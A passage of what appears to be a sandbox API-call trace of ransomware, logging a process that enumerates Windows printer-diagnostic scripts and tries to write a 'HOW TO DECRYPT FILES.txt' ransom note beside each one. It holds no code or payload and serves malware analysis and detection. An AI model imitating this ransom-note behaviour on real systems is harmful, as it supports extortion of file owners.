(lpFileName="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\printer\\how to decrypt files.txt")) returned 0xffffffff [0126.890] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\printer\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.890] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.890] CloseHandle (hObject=0xffffffff) returned 0 [0126.890] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\", lpString2="RS_HomeGroup.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\RS_HomeGroup.ps1") returned="C:\\Windows\\diagnostics\\system\\Printer\\RS_HomeGroup.ps1" [0126.890] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6c1208, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe6c1208, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xdaf5428b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x401, dwReserved0=0x0, dwReserved1=0x0, cFileName="RS_NoPrinterInstalled.ps1", cAlternateFileName="")) returned 1 [0126.891] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.891] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="RS_NoPrinterInstalled.ps1") returned -1 [0126.891] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="RS_NoPrinterInstalled.ps1") returned -1 [0126.891] lstrcmpiA (lpString1="", lpString2="RS_NoPrinterInstalled.ps1") returned -1 [0126.891] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Printer\\RS_HomeGroup.ps1") returned="RS_HomeGroup.ps1" [0126.891] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Printer\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\") returned="C:\\Windows\\diagnostics\\system\\Printer\\" [0126.891] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Printer\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Printer\\") returned="" [0126.891] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" [0126.891] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\printer\\how to decrypt files.txt")) returned 0xffffffff [0126.891] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\printer\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.891] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.892] CloseHandle (hObject=0xffffffff) returned 0 [0126.892] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\", lpString2="RS_NoPrinterInstalled.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\RS_NoPrinterInstalled.ps1") returned="C:\\Windows\\diagnostics\\system\\Printer\\RS_NoPrinterInstalled.ps1" [0126.892] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe70d4c2, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe70d4c2, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xdb012961, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x246, dwReserved0=0x0, dwReserved1=0x0, cFileName="RS_PrinterDriver.ps1", cAlternateFileName="")) returned 1 [0126.892] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.892] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="RS_PrinterDriver.ps1") returned -1 [0126.892] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="RS_PrinterDriver.ps1") returned -1 [0126.893] lstrcmpiA (lpString1="", lpString2="RS_PrinterDriver.ps1") returned -1 [0126.893] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Printer\\RS_NoPrinterInstalled.ps1") returned="RS_NoPrinterInstalled.ps1" [0126.893] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Printer\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\") returned="C:\\Windows\\diagnostics\\system\\Printer\\" [0126.893] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Printer\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Printer\\") returned="" [0126.893] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" [0126.893] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\printer\\how to decrypt files.txt")) returned 0xffffffff [0126.893] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\printer\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.894] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.894] CloseHandle (hObject=0xffffffff) returned 0 [0126.894] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\", lpString2="RS_PrinterDriver.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\RS_PrinterDriver.ps1") returned="C:\\Windows\\diagnostics\\system\\Printer\\RS_PrinterDriver.ps1" [0126.894] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe75977c, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe75977c, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xdb4af3c3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1035, dwReserved0=0x0, dwReserved1=0x0, cFileName="RS_ProcessPrinterjobs.ps1", cAlternateFileName="")) returned 1 [0126.894] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.894] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="RS_ProcessPrinterjobs.ps1") returned -1 [0126.894] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="RS_ProcessPrinterjobs.ps1") returned -1 [0126.894] lstrcmpiA (lpString1="", lpString2="RS_ProcessPrinterjobs.ps1") returned -1 [0126.894] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Printer\\RS_PrinterDriver.ps1") returned="RS_PrinterDriver.ps1" [0126.894] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Printer\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\") returned="C:\\Windows\\diagnostics\\system\\Printer\\" [0126.894] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Printer\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Printer\\") returned="" [0126.894] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" [0126.895] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\printer\\how to decrypt files.txt")) returned 0xffffffff [0126.895] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\printer\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.895] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.895] CloseHandle (hObject=0xffffffff) returned 0 [0126.895] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\", lpString2="RS_ProcessPrinterjobs.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\RS_ProcessPrinterjobs.ps1") returned="C:\\Windows\\diagnostics\\system\\Printer\\RS_ProcessPrinterjobs.ps1" [0126.895] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe75977c, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe75977c, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xdb4af3c3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x297, dwReserved0=0x0, dwReserved1=0x0, cFileName="RS_RestartSpoolerService.ps1", cAlternateFileName="")) returned 1 [0126.896] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.899] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="RS_RestartSpoolerService.ps1") returned -1 [0126.899] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="RS_RestartSpoolerService.ps1") returned -1 [0126.899] lstrcmpiA (lpString1="", lpString2="RS_RestartSpoolerService.ps1") returned -1 [0126.899] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Printer\\RS_ProcessPrinterjobs.ps1") returned="RS_ProcessPrinterjobs.ps1" [0126.899] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Printer\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\") returned="C:\\Windows\\diagnostics\\system\\Printer\\" [0126.899] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Printer\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Printer\\") returned="" [0126.899] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" [0126.899] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\printer\\how to decrypt files.txt")) returned 0xffffffff [0126.900] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\printer\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.900] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.900] CloseHandle (hObject=0xffffffff) returned 0 [0126.900] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\", lpString2="RS_RestartSpoolerService.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\RS_RestartSpoolerService.ps1") returned="C:\\Windows\\diagnostics\\system\\Printer\\RS_RestartSpoolerService.ps1" [0126.900] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7a5a36, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe7a5a36, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xdb4af3c3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="RS_SpoolerCrashing.ps1", cAlternateFileName="")) returned 1 [0126.901] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.901] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="RS_SpoolerCrashing.ps1") returned -1 [0126.901] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="RS_SpoolerCrashing.ps1") returned -1 [0126.901] lstrcmpiA (lpString1="", lpString2="RS_SpoolerCrashing.ps1") returned -1 [0126.901] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Printer\\RS_RestartSpoolerService.ps1") returned="RS_RestartSpoolerService.ps1" [0126.901] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Printer\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\") returned="C:\\Windows\\diagnostics\\system\\Printer\\" [0126.901] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Printer\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Printer\\") returned="" [0126.901] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" [0126.901] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\printer\\how to decrypt files.txt")) returned 0xffffffff [0126.901] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\printer\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.902] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.902] CloseHandle (hObject=0xffffffff) returned 0 [0126.902] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\", lpString2="RS_SpoolerCrashing.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\RS_SpoolerCrashing.ps1") returned="C:\\Windows\\diagnostics\\system\\Printer\\RS_SpoolerCrashing.ps1" [0126.902] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7a5a36, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe7a5a36, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xdb5dfeb3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="RS_StartSpoolerService.ps1", cAlternateFileName="")) returned 1 [0126.902] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.902] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="RS_StartSpoolerService.ps1") returned -1 [0126.902] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="RS_StartSpoolerService.ps1") returned -1 [0126.902] lstrcmpiA (lpString1="", lpString2="RS_StartSpoolerService.ps1") returned -1 [0126.902] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Printer\\RS_SpoolerCrashing.ps1") returned="RS_SpoolerCrashing.ps1" [0126.902] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Printer\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\") returned="C:\\Windows\\diagnostics\\system\\Printer\\" [0126.902] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Printer\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Printer\\") returned="" [0126.902] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" [0126.903] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\printer\\how to decrypt files.txt")) returned 0xffffffff [0126.903] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\printer\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.903] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.903] CloseHandle (hObject=0xffffffff) returned 0 [0126.903] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\", lpString2="RS_StartSpoolerService.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\RS_StartSpoolerService.ps1") returned="C:\\Windows\\diagnostics\\system\\Printer\\RS_StartSpoolerService.ps1" [0126.904] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7cbb93, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe7cbb93, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xdb606011, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x57a, dwReserved0=0x0, dwReserved1=0x0, cFileName="RS_WrongDefaultPrinter.ps1", cAlternateFileName="")) returned 1 [0126.904] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.904] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Printer\\RS_StartSpoolerService.ps1") returned="RS_StartSpoolerService.ps1" [0126.904] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Printer\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\") returned="C:\\Windows\\diagnostics\\system\\Printer\\" [0126.904] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Printer\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Printer\\") returned="" [0126.904] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" [0126.904] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\printer\\how to decrypt files.txt")) returned 0xffffffff [0126.904] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\printer\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.904] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.905] CloseHandle (hObject=0xffffffff) returned 0 [0126.905] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\", lpString2="RS_WrongDefaultPrinter.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\RS_WrongDefaultPrinter.ps1") returned="C:\\Windows\\diagnostics\\system\\Printer\\RS_WrongDefaultPrinter.ps1" [0126.905] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7f1cf0, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe7f1cf0, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xdb62c16f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xfee, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS_CannotConnect.ps1", cAlternateFileName="")) returned 1 [0126.905] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.905] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Printer\\RS_WrongDefaultPrinter.ps1") returned="RS_WrongDefaultPrinter.ps1" [0126.905] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Printer\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\") returned="C:\\Windows\\diagnostics\\system\\Printer\\" [0126.905] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Printer\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Printer\\") returned="" [0126.905] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" [0126.905] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\printer\\how to decrypt files.txt")) returned 0xffffffff [0126.905] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\printer\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.906] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.906] CloseHandle (hObject=0xffffffff) returned 0 [0126.906] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\", lpString2="TS_CannotConnect.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\TS_CannotConnect.ps1") returned="C:\\Windows\\diagnostics\\system\\Printer\\TS_CannotConnect.ps1" [0126.906] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe817e4d, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe817e4d, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xdb62c16f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS_DefaultPrinter.ps1", cAlternateFileName="")) returned 1 [0126.906] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.906] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Printer\\TS_CannotConnect.ps1") returned="TS_CannotConnect.ps1" [0126.906] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Printer\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\") returned="C:\\Windows\\diagnostics\\system\\Printer\\" [0126.906] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Printer\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Printer\\") returned="" [0126.907] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" [0126.907] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\printer\\how to decrypt files.txt")) returned 0xffffffff [0126.907] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\printer\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.907] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.907] CloseHandle (hObject=0xffffffff) returned 0 [0126.907] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\", lpString2="TS_DefaultPrinter.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\TS_DefaultPrinter.ps1") returned="C:\\Windows\\diagnostics\\system\\Printer\\TS_DefaultPrinter.ps1" [0126.907] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe83dfaa, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe83dfaa, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xdb6522cd, 